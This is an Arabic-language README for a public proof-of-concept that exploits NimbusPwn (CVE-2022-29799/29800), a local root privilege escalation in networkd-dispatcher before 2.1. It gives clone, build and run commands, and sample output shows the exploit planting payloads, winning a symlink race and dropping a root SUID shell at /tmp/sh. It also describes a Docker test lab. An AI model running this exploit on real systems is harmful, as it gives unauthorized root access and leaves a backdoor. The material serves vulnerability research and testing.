
NimbusPwn (CVE-2022-29799/29800) PoC لتصعيد الامتيازات محليًا بلغة C.
إنه PoC بلغة C لـ NimbusPwn، وهو تصعيد امتيازات محلي في networkd-dispatcher. يقوم مستخدم غير مميز بادّعاء اسم D-Bus org.freedesktop.network1 وإرسال OperationalState مُصمَّم بعناية. لا تقوم عملية الخادم (daemon) الجذرية بتعقيم هذه الحالة (CVE-2022-29799، اجتياز المسار)، كما أن سباق الروابط الرمزية على دليل السكريبتات (CVE-2022-29800, TOCTOU) يجعلها تُشغِّل سكريبتًا زرعه المهاجم بصلاحيات الجذر — مما يُسقط قشرة SUID بصلاحيات الجذر.
الأنظمة المتأثرة: networkd-dispatcher < 2.1 (تم الإصلاح في 2.1). لينكس فقط. يتطلب D-Bus للنظام واسم org.freedesktop.network1 قابلًا للادّعاء.
ابنِ على لينكس (Kali، أو الجهاز الهدف). لا يُبنى ولا يعمل على macOS/Windows.
git clone https://github.com/joshuavanderpoll/NimbusPWN-CVE-2022-29799-29800.git
cd NimbusPWN-CVE-2022-29799-29800
sudo apt install -y gcc libc6-dev libdbus-1-dev pkg-config
cc nimbuspwn.c -o nimbuspwn $(pkg-config --cflags --libs dbus-1)
[!NOTE] التوزيعات الأخرى:
dnf install gcc dbus-devel pkgconf(Fedora/RHEL) أوpacman -S gcc dbus pkgconf(Arch). سطر الترجمة هو نفسه.
شغّله كمستخدم غير مميز على جهاز معرّض للثغرة.
./nimbuspwn [-c] [-s SHELL]
-c, --check فحص ثغرة غير مؤذٍ، دون استغلال
-s, --shell SHELL القشرة التي سيتم نسخها كـ SUID وتشغيلها كجذر (الافتراضي /bin/sh)
-h, --help إظهار المساعدة
افحص أولًا (آمن، لا يزرع شيئًا، ولا ينشئ أي سباق):
$ ./nimbuspwn --check
[+] owned org.freedesktop.network1
[+] verdict: likely vulnerable (org.freedesktop.network1 is claimable, no privesc tried)
ثم استغِل الثغرة:
$ ./nimbuspwn
[*] shell=/bin/sh drop=/tmp/sh attempts=10
[+] owned org.freedesktop.network1
[@] attempt 1 (/tmp/nimbuspwn_93732)
[+] planted 126 payloads (root-owned /sbin execs) in /tmp/nimbuspwn_93732
[*] OperationalState: ../../../tmp/nimbuspwn_93732/poc
[*] signal sent (serial 3)
[@] symlink swapped, waiting for root exec
[+] root backdoor at /tmp/sh, spawning shell
# id
uid=1000(pwn) gid=1000(pwn) euid=0(root) groups=1000(pwn)
السباق غير حتمي، لذلك يعيد المحاولة (الافتراضي 10 مرات). استخدم -s /bin/bash على الأجهزة التي لا تحتوي على /bin/sh.
مختبر معرّض للثغرة مكتفٍ ذاتيًا (Ubuntu 20.04 + networkd-dispatcher 2.0 المعرّض للثغرة). لا يتطلب --privileged أو شبكة المضيف.
docker compose build
docker compose run --rm nimbuspwn-lab
# inside, as user 'pwn':
./nimbuspwn
المُوزِّع (dispatcher) الإصدار 2.0 مضمّن في docker/ لذا لا يعتمد البناء على أي تنزيل خارجي. سجل المُوزِّع: /var/log/dispatcher.log.
هذه الأداة مقدمة لأغراض تعليمية وبحثية فقط. لا يتحمل المنشئ أي مسؤولية عن أي إساءة استخدام أو ضرر ناتج عن الأداة.